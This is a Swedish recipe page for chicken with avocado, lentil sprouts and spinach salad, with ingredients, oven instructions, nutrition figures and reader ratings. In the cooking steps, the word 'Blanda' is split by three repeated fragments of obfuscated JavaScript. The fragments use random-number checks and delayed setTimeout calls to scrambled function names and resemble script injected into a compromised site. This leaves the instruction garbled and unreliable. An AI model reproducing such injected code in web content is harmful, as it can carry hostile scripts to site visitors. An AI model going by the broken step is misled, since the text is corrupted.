Kyckling med avokado, linsgrodd och spenatsallad.

2013-09-04
_SAM0095_SAM0096_SAM0098
  • Servings : 1-2
  • Prep Time : 10m
  • Cook Time : 20m
  • Ready In : 20m

Ingredienser

  • 100-200g kycklingbröst
  •  50g hyvlad morot
  • 50g skivor av broccolistammen
  • 40g 3st skivad sparris
  • 30g spenat
  • 50g linsgroddar
  • 40g tärnad avokado
  • 10g 1 matsked citron juice
  • 5g 1/2 matsked olivolja
  • 40g kesella
  • 1/3 tesked sambaolek
  • Svartpeppar
  • Örtsalt

Gör så här:

Sätt igång ugnen på 160C

Placera kyckling i en stekpanna i ugnen i c 15-20 minuter. Krydda medsvartpeppar och örtsalt.
Blandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a allt som hör till salladen förutom spenaten, vänta med den tills innan servering.

För salladen.

Kalorier 270,9

Protein 15,6

Kolhydrater 21

Fett 12,5

 

Med 200g kyckling

Kalorier 500,9

Protein 58,6

Kolhydrater  21

Fett 18,7

 

Med 100g kyckling

Kalorier 385,9

Protein 37,1

Kolhydrater 21

Fett 15,6

 

Medlemsbetyg

(3 / 5)

3 5 6
Betygsätt recept

6 people rated this recipe

Related Recipes:
  • Nutellapannkakor

    Nutellapannkakor

  • _SAM0905

    Sallad på svartvitlöks rostad pumpa, lök, paprika, tomat med chevreost, spenat och svartkålschips.

  • _SAM0920

    Svartvitlöks rostad kyckling

  • Avokado & äggmacka

    Avokado & äggmacka

  • Vitchoklad & hallonpudding

    Vitchoklad & hallonpudding

Näringssinnehåll

Informationen gäller per portion

  • 270,9 - 500,9 kcal

Recipe Comments

Post A Comment

Current ye@r *